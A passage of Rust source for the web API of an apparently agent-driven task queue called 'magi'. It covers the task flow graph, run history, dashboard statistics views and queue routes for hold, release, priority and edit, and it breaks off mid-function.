5282            attempt: AttemptCost::None,
5283        });
5284    }
5285    let mut start = node("start", "start", "Task queued".to_owned());
5286    start.started_at = Some(task.created_at);
5287    nodes.push(start);
5288    let mut prev = "start".to_owned();
5289    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5290    for (i, h) in history.iter().enumerate() {
5291        let key = format!("run-{}", h.n);
5292        let mut n = node(&key, "run", format!("Run {}", h.short));
5293        // Creation marks only the first pass of legacy runs. A resumed pass
5294        // without a record must not inherit the original run's start time.
5295        n.started_at = h
5296            .readable
5297            .then(|| {
5298                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5299                    h.created_at
5300                } else {
5301                    None
5302                })
5303            })
5304            .flatten();
5305        n.run_kind = Some(h.kind);
5306        n.readable = h.readable;
5307        n.href = Some(format!("#/runs/{}", h.id));
5308        n.decided = h.readable && !h.provisional;
5309        n.detail = h
5310            .branch
5311            .as_ref()
5312            .map(|b| format!("review-only run of branch {b}"));
5313        match h.exit {
5314            RunExit::Unreadable => n.note = Some("unreadable"),
5315            RunExit::Interrupted => n.note = Some("interrupted"),
5316            // An earlier pass the run recorded as parked: the status shown
5317            // would be the run's current one, not this pass's.
5318            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5319            _ => {
5320                n.status = h.status;
5321                n.badge = h.badge.clone();
5322                if h.provisional {
5323                    n.note = Some("no verdict");
5324                }
5325            }
5326        }
5327        let into = match h.kind {
5328            "review" => Some(format!(
5329                "review-only run of branch {}",
5330                h.branch.as_deref().unwrap_or("?")
5331            )),
5332            "resume" => Some("resume the same run".to_owned()),
5333            _ if i > 0 => Some("retry".to_owned()),
5334            _ => None,
5335        };
5336        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5337        let label = match (prev_exit, into) {
5338            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5339            (Some((_, l, _)), None) => l,
5340            (None, Some(i)) => i,
5341            (None, None) => "claimed".to_owned(),
5342        };
5343        edges.push(FlowEdge {
5344            from: prev.clone(),
5345            to: key.clone(),
5346            label,
5347            attempt,
5348        });
5349        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5350        prev = key;
5351        nodes.push(n);
5352    }
5353    let mut end = node("end", "end", task.status.as_str().to_owned());
5354    end.status = Some(task.status.as_str());
5355    end.status_of = "task";
5356    // Other task states do not persist their transition start. In particular,
5357    // blocked_at can change while the task remains blocked.
5358    if task.status == TaskStatus::Held {
5359        end.started_at = task.held_at;
5360    }
5361    nodes.push(end);
5362    let (label, attempt) = match prev_exit {
5363        None => (
5364            format!("no run yet \u{2192} {}", task.status.as_str()),
5365            AttemptCost::None,
5366        ),
5367        Some((e, l, cost)) if e.explains(task.status) => {
5368            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5369        }
5370        Some((_, _, cost)) => (
5371            format!("closed by hand: task is {}", task.status.as_str()),
5372            cost,
5373        ),
5374    };
5375    edges.push(FlowEdge {
5376        from: prev,
5377        to: "end".to_owned(),
5378        label,
5379        attempt,
5380    });
5381    FlowView {
5382        nodes,
5383        edges,
5384        attempts: task.attempts,
5385        max_attempts,
5386        passes: history.len(),
5387        runs: distinct_runs(&task.runs),
5388    }
5389}
5390
5391/// How many different run ids a task's run list names.
5392fn distinct_runs(runs: &[String]) -> usize {
5393    let mut seen: Vec<&str> = Vec::new();
5394    for r in runs {
5395        if !seen.contains(&r.as_str()) {
5396            seen.push(r);
5397        }
5398    }
5399    seen.len()
5400}
5401
5402/// Describe recorded task passes, retaining unrecorded legacy list entries.
5403fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5404    let mut slots = Vec::new();
5405    let mut seen = Vec::new();
5406    for run_id in &task.runs {
5407        if seen.contains(&run_id) {
5408            continue;
5409        }
5410        seen.push(run_id);
5411        let state = read(run_id);
5412        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5413            s.passes
5414                .iter()
5415                .filter(|p| {
5416                    p.task_entry
5417                        || task
5418                            .passes
5419                            .iter()
5420                            .any(|t| t.run == *run_id && t.pass_index == p.index)
5421                })
5422                .cloned()
5423                .collect()
5424        });
5425        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5426        let total = legacy_count.max(mine.len());
5427        let offset = total - mine.len();
5428        for k in 0..total {
5429            // Legacy repeated entries retain their original positions. When
5430            // ids are unique, recorded pass times recover the resume order.
5431            let position = task
5432                .runs
5433                .iter()
5434                .enumerate()
5435                .filter(|(_, r)| *r == run_id)
5436                .nth(k.min(legacy_count - 1))
5437                .unwrap()
5438                .0;
5439            slots.push((
5440                run_id,
5441                state.clone(),
5442                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5443                position,
5444            ));
5445        }
5446    }
5447    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5448        slots.sort_by_key(|(_, state, pass, _)| {
5449            pass.as_ref()
5450                .map(|p| p.started_at)
5451                .or_else(|| state.as_ref().map(|s| s.created_at))
5452                .map_or((true, task.created_at), |at| (false, at))
5453        });
5454    } else {
5455        slots.sort_by_key(|(_, _, _, position)| *position);
5456    }
5457    let mut history = Vec::with_capacity(slots.len());
5458    let mut seen: Vec<&str> = Vec::new();
5459    let mut prior: Option<(&str, RunStatus)> = None;
5460    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5461        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5462        let resumed = k > 0;
5463        seen.push(run_id);
5464        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5465        let pass = pass.as_ref();
5466        let settled = pass.and_then(|p| {
5467            task.passes
5468                .iter()
5469                .find(|t| t.run == **run_id && t.pass_index == p.index)
5470        });
5471        history.push(task_run_view(
5472            run_id,
5473            state.as_ref(),
5474            RunSlot {
5475                n: i + 1,
5476                resumed,
5477                resumed_later: slots[i + 1..]
5478                    .iter()
5479                    .position(|(id, _, _, _)| id == run_id)
5480                    .map(|off| i + off + 2),
5481                prior,
5482                last: i + 1 == slots.len(),
5483                pass,
5484                settled,
5485                pass_n: k + 1,
5486                passes_of_run: total,
5487            },
5488            task,
5489        ));
5490        if let Some(s) = &state {
5491            prior = Some((run::short_of(run_id), s.status));
5492        }
5493    }
5494    history
5495}
5496
5497/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
5498/// An earlier pass of a resumed run keeps no badge (it has no status box).
5499fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5500    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5501        return;
5502    }
5503    let (_, claimed, _) = run_row_inputs(ui);
5504    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5505    for h in history
5506        .iter_mut()
5507        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5508    {
5509        let Ok(state) = read_run(&ui.runs, &h.id) else {
5510            continue;
5511        };
5512        if state.status.done() {
5513            continue;
5514        }
5515        let live = state.liveness_with(
5516            claimed.contains(&h.id),
5517            |p| probe.borrow_mut().status(p),
5518            |p| probe.borrow_mut().started_at(p),
5519        );
5520        let waiting = !ui.questions.open_for(&h.id).is_empty();
5521        let display = run_display_status(&state, waiting, live);
5522        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5523        if matches!(word.as_str(), "stale" | "superseded")
5524            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5525        {
5526            h.badge = Some(word);
5527        }
5528    }
5529}
5530
5531async fn task_detail(
5532    State(ui): State<Arc<Ui>>,
5533    Path(id): Path<String>,
5534) -> ApiResult<Json<TaskDetailView>> {
5535    blocking(move || {
5536        let id = resolve_task(&ui.queue, &id)?;
5537        let task = ui
5538            .queue
5539            .get(&id)
5540            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5541        let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5542        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5543        mark_badges(&ui, &task, &mut history);
5544        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5545        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5546        let origin = task.followup.as_ref().map(|fu| {
5547            followup_origin(
5548                fu,
5549                |tid| ui.queue.get(tid).ok(),
5550                |rid| read_run(&ui.runs, rid).ok(),
5551            )
5552        });
5553        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5554        Ok(Json(TaskDetailView {
5555            max_attempts,
5556            flow,
5557            followup_origin: origin,
5558            passes_total: history.len(),
5559            runs_distinct: distinct_runs(&task.runs),
5560            history,
5561            runs_unreadable,
5562            attempts_note: ATTEMPTS_NOTE,
5563            task: TaskView::with_inventory(task, &inv),
5564        }))
5565    })
5566    .await
5567}
5568
5569/// A rate together with its denominator, so the client can tell "computed as
5570/// 0%" apart from "no data to compute it from" — both would otherwise
5571/// serialize as `0.0`. `None` means the denominator was zero.
5572#[derive(Debug, Serialize)]
5573struct RateView {
5574    pct: f64,
5575    denominator: usize,
5576}
5577
5578impl RateView {
5579    fn of(numerator: usize, denominator: usize) -> Option<Self> {
5580        (denominator > 0).then(|| Self {
5581            pct: 100.0 * numerator as f64 / denominator as f64,
5582            denominator,
5583        })
5584    }
5585}
5586
5587/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5588/// rates, each paired with its own denominator via [`RateView`] rather than
5589/// exposing `Stats`' own percentage methods directly — see this module's
5590/// doc for why `Stats` itself is never serialized.
5591#[derive(Debug, Serialize)]
5592struct StatsTotalsView {
5593    runs: usize,
5594    merged: usize,
5595    ready: usize,
5596    blocked: usize,
5597    failed: usize,
5598    stalled: usize,
5599    verified_noop: usize,
5600    superseded: usize,
5601    in_progress: usize,
5602    completion_rate: Option<RateView>,
5603    tallied: usize,
5604    split: usize,
5605    split_rate: Option<RateView>,
5606    deliberated: usize,
5607    minds_changed: usize,
5608    converged: usize,
5609    review_rounds: usize,
5610}
5611
5612impl From<&stats::Totals> for StatsTotalsView {
5613    fn from(t: &stats::Totals) -> Self {
5614        Self {
5615            runs: t.runs,
5616            merged: t.merged,
5617            ready: t.ready,
5618            blocked: t.blocked,
5619            failed: t.failed,
5620            stalled: t.stalled,
5621            verified_noop: t.verified_noop,
5622            superseded: t.superseded,
5623            in_progress: t.in_progress,
5624            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5625            tallied: t.tallied,
5626            split: t.split,
5627            split_rate: RateView::of(t.split, t.tallied),
5628            deliberated: t.deliberated,
5629            minds_changed: t.minds_changed,
5630            converged: t.converged,
5631            review_rounds: t.review_rounds,
5632        }
5633    }
5634}
5635
5636/// [`crate::stats::AgentStats`] for the wire.
5637#[derive(Debug, Serialize)]
5638struct AgentStatsView {
5639    agent: String,
5640    entered: usize,
5641    wins: usize,
5642    empty: usize,
5643    win_rate: Option<RateView>,
5644    competitive_entered: usize,
5645    competitive_wins: usize,
5646    competitive_win_rate: Option<RateView>,
5647    solo_entered: usize,
5648    solo_adopted: usize,
5649    solo_adoption_rate: Option<RateView>,
5650}
5651
5652impl From<&stats::AgentStats> for AgentStatsView {
5653    fn from(a: &stats::AgentStats) -> Self {
5654        Self {
5655            agent: a.agent.clone(),
5656            entered: a.entered,
5657            wins: a.wins,
5658            empty: a.empty,
5659            win_rate: RateView::of(a.wins, a.entered),
5660            competitive_entered: a.competitive_entered,
5661            competitive_wins: a.competitive_wins,
5662            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5663            solo_entered: a.solo_entered,
5664            solo_adopted: a.solo_adopted,
5665            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5666        }
5667    }
5668}
5669
5670/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
5671/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
5672/// value, `None` when `rounds` is zero.
5673#[derive(Debug, Serialize)]
5674struct ReviewerStatsView {
5675    agent: String,
5676    rounds: usize,
5677    seated: usize,
5678    submitted: usize,
5679    adopted: usize,
5680    unique: usize,
5681    timeouts: usize,
5682    adopted_per_round: Option<f64>,
5683    precision: Option<RateView>,
5684    unique_rate: Option<RateView>,
5685    timeout_rate: Option<RateView>,
5686}
5687
5688impl From<&stats::ReviewerStats> for ReviewerStatsView {
5689    fn from(r: &stats::ReviewerStats) -> Self {
5690        Self {
5691            agent: r.agent.clone(),
5692            rounds: r.rounds,
5693            seated: r.seated,
5694            submitted: r.submitted,
5695            adopted: r.adopted,
5696            unique: r.unique,
5697            timeouts: r.timeouts,
5698            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5699            precision: RateView::of(r.adopted, r.submitted),
5700            unique_rate: RateView::of(r.unique, r.submitted),
5701            timeout_rate: RateView::of(r.timeouts, r.seated),
5702        }
5703    }
5704}
5705
5706/// [`crate::stats::AdvisorStats`] for the wire.
5707///
5708/// `reflection_rate` is approximate by construction — see
5709/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
5710/// that caveat is static text in `index.html`, not a field here.
5711#[derive(Debug, Serialize)]
5712struct AdvisorStatsView {
5713    agent: String,
5714    seated: usize,
5715    proposed: usize,
5716    absent: usize,
5717    faint: usize,
5718    strong: usize,
5719    reflection_rate: Option<RateView>,
5720}
5721
5722impl From<&stats::AdvisorStats> for AdvisorStatsView {
5723    fn from(a: &stats::AdvisorStats) -> Self {
5724        Self {
5725            agent: a.agent.clone(),
5726            seated: a.seated,
5727            proposed: a.proposed,
5728            absent: a.absent,
5729            faint: a.faint,
5730            strong: a.strong,
5731            reflection_rate: RateView::of(a.strong, a.proposed),
5732        }
5733    }
5734}
5735
5736/// [`crate::stats::E2eStats`] for the wire.
5737#[derive(Debug, Serialize)]
5738struct E2eStatsView {
5739    rounds: usize,
5740    failures: usize,
5741    sole_detections: usize,
5742    deferred: usize,
5743    sole_rate: Option<RateView>,
5744}
5745
5746impl From<&stats::E2eStats> for E2eStatsView {
5747    fn from(e: &stats::E2eStats) -> Self {
5748        Self {
5749            rounds: e.rounds,
5750            failures: e.failures,
5751            sole_detections: e.sole_detections,
5752            deferred: e.deferred,
5753            sole_rate: RateView::of(e.sole_detections, e.failures),
5754        }
5755    }
5756}
5757
5758/// [`crate::stats::ReleaseBumpStats`] for the wire.
5759///
5760/// `clean` is sent as a raw count, computed the same way
5761/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5762/// needs_attention`) — never derived client-side from `automerge_enabled`,
5763/// which would misclassify a `merged_directly` bump (automerge rejected, but
5764/// magi merged it directly, so no human involvement) as needing attention.
5765#[derive(Debug, Serialize)]
5766struct ReleaseBumpStatsView {
5767    merged: usize,
5768    recorded: usize,
5769    pr_opened: usize,
5770    automerge_enabled: usize,
5771    merged_directly: usize,
5772    needs_attention: usize,
5773    clean: usize,
5774    coverage_rate: Option<RateView>,
5775    automerge_rate: Option<RateView>,
5776    attention_rate: Option<RateView>,
5777}
5778
5779impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5780    fn from(b: &stats::ReleaseBumpStats) -> Self {
5781        Self {
5782            merged: b.merged,
5783            recorded: b.recorded,
5784            pr_opened: b.pr_opened,
5785            automerge_enabled: b.automerge_enabled,
5786            merged_directly: b.merged_directly,
5787            needs_attention: b.needs_attention,
5788            clean: b.clean(),
5789            coverage_rate: RateView::of(b.recorded, b.merged),
5790            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5791            attention_rate: RateView::of(b.needs_attention, b.recorded),
5792        }
5793    }
5794}
5795
5796/// [`crate::queue::TaskCounts`] for the wire.
5797#[derive(Debug, Serialize)]
5798struct TaskCountsView {
5799    queued: usize,
5800    running: usize,
5801    done: usize,
5802    failed: usize,
5803    held: usize,
5804    blocked: usize,
5805    parked: usize,
5806}
5807
5808impl From<crate::queue::TaskCounts> for TaskCountsView {
5809    fn from(c: crate::queue::TaskCounts) -> Self {
5810        Self {
5811            queued: c.queued,
5812            running: c.running,
5813            done: c.done,
5814            failed: c.failed,
5815            held: c.held,
5816            blocked: c.blocked,
5817            parked: c.parked,
5818        }
5819    }
5820}
5821
5822/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5823/// runs recorded — the summary the UI's repository selector is built from.
5824/// Carries no nested `Stats`: picking a repo means re-fetching
5825/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5826/// aggregation rather than duplicating it.
5827#[derive(Debug, Serialize)]
5828struct RepoSummaryView {
5829    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5830    /// against, full path and all (see [`stats_get`]'s own doc for why).
5831    repo: String,
5832    /// Display name only; never used for matching.
5833    name: String,
5834    runs: usize,
5835    completion_rate: Option<RateView>,
5836}
5837
5838impl From<&stats::RepoStats> for RepoSummaryView {
5839    fn from(r: &stats::RepoStats) -> Self {
5840        let t = &r.stats.totals;
5841        Self {
5842            repo: r.repo.to_string_lossy().into_owned(),
5843            name: r.name.clone(),
5844            runs: t.runs,
5845            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5846        }
5847    }
5848}
5849
5850/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5851/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5852/// renders from them) are free to grow without that becoming a wire-contract
5853/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5854/// data" from "computed and it really is zero" the way [`RateView`] does.
5855#[derive(Debug, Serialize)]
5856struct StatsView {
5857    totals: StatsTotalsView,
5858    /// Best win rate first, as [`stats::collect`] already sorts it.
5859    agents: Vec<AgentStatsView>,
5860    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5861    reviewers: Vec<ReviewerStatsView>,
5862    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5863    advisors: Vec<AdvisorStatsView>,
5864    e2e: E2eStatsView,
5865    release_bumps: ReleaseBumpStatsView,
5866    queue: TaskCountsView,
5867    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5868    /// that field's doc. Asserted to match it in
5869    /// `stats_runs_unreadable_matches_health`.
5870    ///
5871    /// Always the whole-workload count, even when `repo` narrows every other
5872    /// field to one repository - an unreadable `run.json` carries no `repo`
5873    /// a per-repository count could attribute it to, and the queue/health
5874    /// views this mirrors never scope it either. The UI must not present it
5875    /// as if it were scoped to the selected repository.
5876    runs_unreadable: usize,
5877    /// Every repository with runs recorded, most runs first - what the UI's
5878    /// repository selector is built from. Always the full list regardless of
5879    /// `repo`, so switching repositories never needs a second request.
5880    repos: Vec<RepoSummaryView>,
5881    /// Runs per local day over the last 30 days, oldest first, always 30
5882    /// entries. Days are the *server's* local dates (the UI must not convert
5883    /// them again), cut by run creation and classified by current status.
5884    /// Narrowed by `repo` like every other run-derived field.
5885    daily: Vec<DailyStatsView>,
5886    /// The `?repo=` value this response was narrowed to, echoed back so the
5887    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5888    /// all-repositories view.
5889    repo: Option<String>,
5890    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5891    /// current config roster no longer lists them. Empty with `?all=true`, an
5892    /// unreadable config, or when nothing was retired.
5893    retired_hidden: Vec<String>,
5894}
5895
5896/// One day of [`StatsView::daily`].
5897#[derive(Debug, Serialize)]
5898struct DailyStatsView {
5899    /// `YYYY-MM-DD`, server-local.
5900    date: String,
5901    runs: usize,
5902    merged: usize,
5903    ready: usize,
5904    other: usize,
5905    /// `None` on a day with no runs, so it never reads as 0%.
5906    completion_rate: Option<RateView>,
5907}
5908
5909impl From<&stats::DayBucket> for DailyStatsView {
5910    fn from(b: &stats::DayBucket) -> Self {
5911        Self {
5912            date: b.date.to_string(),
5913            runs: b.runs,
5914            merged: b.merged,
5915            ready: b.ready,
5916            other: b.other,
5917            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5918        }
5919    }
5920}
5921
5922/// How many days [`StatsView::daily`] covers.
5923const STATS_DAILY_DAYS: usize = 30;
5924
5925/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5926/// repository. Matched by full-path equality against `RunState.repo` only
5927/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5928/// `--repo` is, because the value here always came from this same route's
5929/// own `repos` list in an earlier response, never typed by a human. A value
5930/// matching no run is a 404, not an empty aggregate: the caller asked for a
5931/// specific, named repository, and silently returning zeroes would look
5932/// exactly like a repository that has runs but none of interest.
5933#[derive(Debug, Default, Deserialize)]
5934#[serde(default)]
5935struct StatsQuery {
5936    repo: Option<String>,
5937    /// `?all=true` keeps agents that are no longer in the roster.
5938    all: bool,
5939}
5940
5941/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5942/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5943/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5944/// prints from. Reads every readable run on disk, exactly as
5945/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5946/// a separately-maintained tally could.
5947async fn stats_get(
5948    State(ui): State<Arc<Ui>>,
5949    Query(q): Query<StatsQuery>,
5950) -> ApiResult<Json<StatsView>> {
5951    blocking(move || {
5952        let states: Vec<RunState> = run_ids(&ui.runs)
5953            .into_iter()
5954            .filter_map(|id| read_run(&ui.runs, &id).ok())
5955            .collect();
5956        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5957            .iter()
5958            .map(RepoSummaryView::from)
5959            .collect();
5960        let mut scoped: Vec<&RunState> = states.iter().collect();
5961        let mut collected = match &q.repo {
5962            Some(repo) => {
5963                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5964                if filtered.is_empty() {
5965                    return Err(ApiError::not_found(format!(
5966                        "no runs recorded against repo `{repo}`"
5967                    )));
5968                }
5969                scoped = filtered.clone();
5970                stats::collect_refs(filtered)
5971            }
5972            None => stats::collect(&states),
5973        };
5974        if !q.all {
5975            let repo = q
5976                .repo
5977                .as_deref()
5978                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5979            stats::retain_current_roster(&mut collected, &repo);
5980        }
5981        let daily = stats::daily(
5982            scoped,
5983            jiff::Zoned::now().date(),
5984            &jiff::tz::TimeZone::system(),
5985            STATS_DAILY_DAYS,
5986        );
5987        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5988        Ok(Json(StatsView {
5989            totals: StatsTotalsView::from(&collected.totals),
5990            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5991            reviewers: collected
5992                .reviewers
5993                .iter()
5994                .map(ReviewerStatsView::from)
5995                .collect(),
5996            advisors: collected
5997                .advisors
5998                .iter()
5999                .map(AdvisorStatsView::from)
6000                .collect(),
6001            e2e: E2eStatsView::from(&collected.e2e),
6002            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6003            queue: TaskCountsView::from(queue_counts),
6004            runs_unreadable: runs_unreadable(&ui.runs),
6005            repos,
6006            daily: daily.iter().map(DailyStatsView::from).collect(),
6007            repo: q.repo.clone(),
6008            retired_hidden: collected.retired_hidden.clone(),
6009        }))
6010    })
6011    .await
6012}
6013
6014/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
6015/// gives no reason - which must keep working, since not every hold has one.
6016#[derive(Debug, Default, Deserialize)]
6017#[serde(default, deny_unknown_fields)]
6018struct HoldBody {
6019    reason: Option<String>,
6020}
6021
6022async fn queue_hold(
6023    State(ui): State<Arc<Ui>>,
6024    Path(id): Path<String>,
6025    body: std::result::Result<Json<HoldBody>, JsonRejection>,
6026) -> ApiResult<Json<TaskView>> {
6027    // An absent body is the ordinary case - most holds are unexplained, and
6028    // that has to stay a one-tap action rather than a form. A body that is
6029    // present and malformed is still a bad request.
6030    let body = match body {
6031        Ok(Json(body)) => body,
6032        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6033        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6034    };
6035    let reason = body.reason.filter(|r| !r.trim().is_empty());
6036    mutate(ui, id, move |t| {
6037        t.hold_manual(reason.clone());
6038        Ok(())
6039    })
6040    .await
6041}
6042
6043async fn queue_release(
6044    State(ui): State<Arc<Ui>>,
6045    Path(id): Path<String>,
6046) -> ApiResult<Json<TaskView>> {
6047    mutate(ui, id, |t| {
6048        t.release_operator("web", None);
6049        Ok(())
6050    })
6051    .await
6052}
6053
6054#[derive(Debug, Deserialize)]
6055#[serde(deny_unknown_fields)]
6056struct AttemptLimitBody {
6057    // Required even when clearing: missing fields must not silently erase an override.
6058    attempt_limit: serde_json::Value,
6059}
6060
6061async fn queue_attempt_limit(
6062    State(ui): State<Arc<Ui>>,
6063    Path(id): Path<String>,
6064    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6065) -> ApiResult<Json<TaskView>> {
6066    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6067    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6068        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6069    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6070}
6071
6072#[derive(Debug, Deserialize)]
6073#[serde(deny_unknown_fields)]
6074struct ImplementersBody {
6075    implementers: u8,
6076}
6077
6078async fn queue_implementers(
6079    State(ui): State<Arc<Ui>>,
6080    Path(id): Path<String>,
6081    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6082) -> ApiResult<Json<TaskView>> {
6083    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6084    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6085}
6086
6087#[derive(Debug, Deserialize)]
6088#[serde(deny_unknown_fields)]
6089struct UrgentBody {
6090    urgent: bool,
6091}
6092
6093async fn queue_urgent(
6094    State(ui): State<Arc<Ui>>,
6095    Path(id): Path<String>,
6096    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6097) -> ApiResult<Json<TaskView>> {
6098    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6099    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6100}
6101
6102/// The body of `POST /api/queue/{id}/priority`.
6103#[derive(Debug, Deserialize)]
6104#[serde(deny_unknown_fields)]
6105struct PriorityBody {
6106    priority: i32,
6107}
6108
6109/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6110///
6111/// [`Task::set_priority`] is the one place the "not while running" rule is
6112/// stated; this route only carries the body to it and lets its `Err` become
6113/// the 4xx the card shows.
6114async fn queue_priority(
6115    State(ui): State<Arc<Ui>>,
6116    Path(id): Path<String>,
6117    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6118) -> ApiResult<Json<TaskView>> {
6119    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6120    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6121}
6122
6123/// The body of `POST /api/queue/{id}/edit`.
6124#[derive(Debug, Deserialize)]
6125#[serde(deny_unknown_fields)]
6126struct EditBody {
6127    title: String,
6128    instruction: String,
6129    /// Save even though the new text names a branch, commit or pull request
6130    /// that unfinished work already owns.
6131    #[serde(default)]
6132    force: bool,
6133}
6134
6135/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6136/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6137/// that refusal's message is what the sheet shows back.
6138async fn queue_edit(
6139    State(ui): State<Arc<Ui>>,
6140    Path(id): Path<String>,
6141    body: std::result::Result<Json<EditBody>, JsonRejection>,
6142) -> ApiResult<Json<TaskView>> {
6143    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6144    // The judge is an agent call, so it is awaited here, outside the claim
6145    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6146    // remembered, and the save refuses if the task moved underneath it.
6147    let mut judged: Option<(String, PathBuf)> = None;
6148    if !body.force {
6149        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6150        let (id, text) = (id.clone(), body.instruction.clone());
6151        let (seen, hits) = blocking(move || {
6152            let id = resolve_task(&queue, &id)?;
6153            let t = queue.get(&id)?;
6154            if text == t.instruction {
6155                return Ok((None, Vec::new()));
6156            }
6157            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6158            Ok((Some((t.instruction, t.repo)), hits))
6159        })
6160        .await?;
6161        if let Some((_, repo)) = &seen {
6162            let cfg = crate::config::Config::discover(repo, None)
6163                .ok()
6164                .map(|(c, _)| c);
6165            let screened =
6166                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6167                    .await
6168                    .map_err(|dup| {
6169                        ApiError::conflict(dup.render(
6170                            "Nothing was saved. If it is not a duplicate, repeat the request \
6171                             with \"force\": true.",
6172                        ))
6173                    })?;
6174            if let crate::dupes::Screened::Unjudged(why) = screened {
6175                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6176            }
6177        }
6178        judged = seen;
6179    }
6180    let force = body.force;
6181    mutate(ui, id, move |t| {
6182        if !force && body.instruction != t.instruction {
6183            match &judged {
6184                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6185                _ => {
6186                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6187                }
6188            }
6189        }
6190        t.edit(body.title.clone(), body.instruction.clone())
6191    })
6192    .await
6193}
6194
6195/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6196/// it, so the phone's other way to clear a task from the backlog does not
6197/// have to cost the run history, the attribution, and `created_at` the way
6198/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6199/// can be marked done by hand, because this is for the run the loop never
6200/// saw land - a merge done by hand, or a gate that misreported - and that can
6201/// happen from any status the task was left in.
6202async fn queue_done(
6203    State(ui): State<Arc<Ui>>,
6204    Path(id): Path<String>,
6205) -> ApiResult<Json<TaskView>> {
6206    let home = ui.home.clone();
6207    mutate(ui, id, move |t| {
